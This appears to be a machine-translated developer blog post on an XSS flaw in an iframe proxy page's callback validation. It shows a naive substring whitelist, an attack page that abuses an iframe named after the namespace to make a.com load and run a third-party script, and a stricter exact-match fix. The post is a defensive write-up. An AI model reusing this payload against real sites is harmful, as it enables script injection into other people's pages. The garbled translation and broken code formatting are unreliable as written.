A cross-domain request for XSS continuation

As discussed earlier, in resolving post cross-domain requests, it is best to use iframe+ as a proxy page for this domain, with compatibility (including IE6, of course). Last mentioned, the role of the proxy page is to execute the callback function under this domain. This is the reason for the convenience of XSS. For more information, refer to a cross-domain request for XSS Vulnerability

As mentioned last time, the root of this problem is to prevent illegal functions from being executed within the page. Last time I was lazy, the function name would be OK. Contains a match. The process is as follows:

/** * Callback value is: namespace.function,prefix123456 */var filter = [' namespace ', ' prefix '];//validation function, return True, Returnvar Validatecallback = function (callback) {var flag = True;for (var i=0;i<filter.length;i++) {if (Callback.indexof (filter [i]) >-1) {flag = false;}} return flag;} if (Validatecallback (callback)) {return;}

As you can see from the code above, only my whitelist function can be passed and executed. and namespace is the namespace I define, I just have to make sure my function doesn't cause XSS. But I was so naïve, I didn't think there was such a situation:

<iframe name= "namespace" src= "http://www.a.com" onload= "Loadiframe ();" ><script> function Loadiframe () {var iframe = document.createelement (' iframe '); iframe.src = ' http://www.a.com /proxy.html?namespace.$.ajax&url= "xxx" &datatype= "javascript"; Document.body.appendChild (IFRAME); }</script>

This time, very relaxed under the a.com, executed a third-party JS file, think is a terrible thing. Then why does it work?

1. At this point the namespace is the window of the IFRAME, and we can imagine what document.namespace is.
2. In general, a.com on the page will refer to jquery or other JS library, it is convenient to call a method to execute an AJAX request a JS file, and execute
3. More importantly, it can manipulate all the methods on the window
4. ......

How to solve it? The first thing I think of is: do not change the current white list, add the domain name whitelist, only in the domain name Whitelist domain name can be executed. At the same time, one of the problems that I encountered was that I was unable to determine the legality of the domain name I requested in the proxy. The two ways I initially thought of acquiring domain names were: Document.referrer and Parent.document.domain, and here's a brief explanation of why these two forms can be judged.

No matter how restrictive it is, the most important thing to remember is that legitimate requests cannot be limited. If the third party uses an IFRAME reference, hesitate the homologous strategy, Parent.document.domain throws an exception and cannot be judged; As for the document.rederrer problem is, if nested multi-layer iframe, my reffer is normal, in fact, illegal reference.

Since this is also denied, what do I do? Is there really no way to prevent this? I have again thought again, why this XSS loophole? The main reason is the name of the function. Now do not strictly control the function name, just to judge the inclusion of the relationship. So the next thing to do is to limit the name of the dead function, which can only be in my filter, can be done by an identity or a regular match.

The value of/** * callback is: namespace.function,prefix123456,prefix1231321 */var filter = [' Namespace.function ',/^prefix\d$/];/ /Validation function, returns True when Returnvar Validatecallback = function (callback) {var flag = True;for (var i=0;i<filter.length;i++) {if ( typeof Filter[i] = = = ' String ') {if (filter[i] = = = Callback) {flag = false;}} else {if (Filter[i].test (callback)) {flag = false;}}} return flag;} if (Validatecallback (callback)) {return;}

In this form above, this XSS vulnerability is temporarily resolved. Of course, this problem is still a long-term problem, or need long-term follow-up, encounter problems, old hate to solve.

A cross-domain request for XSS continuation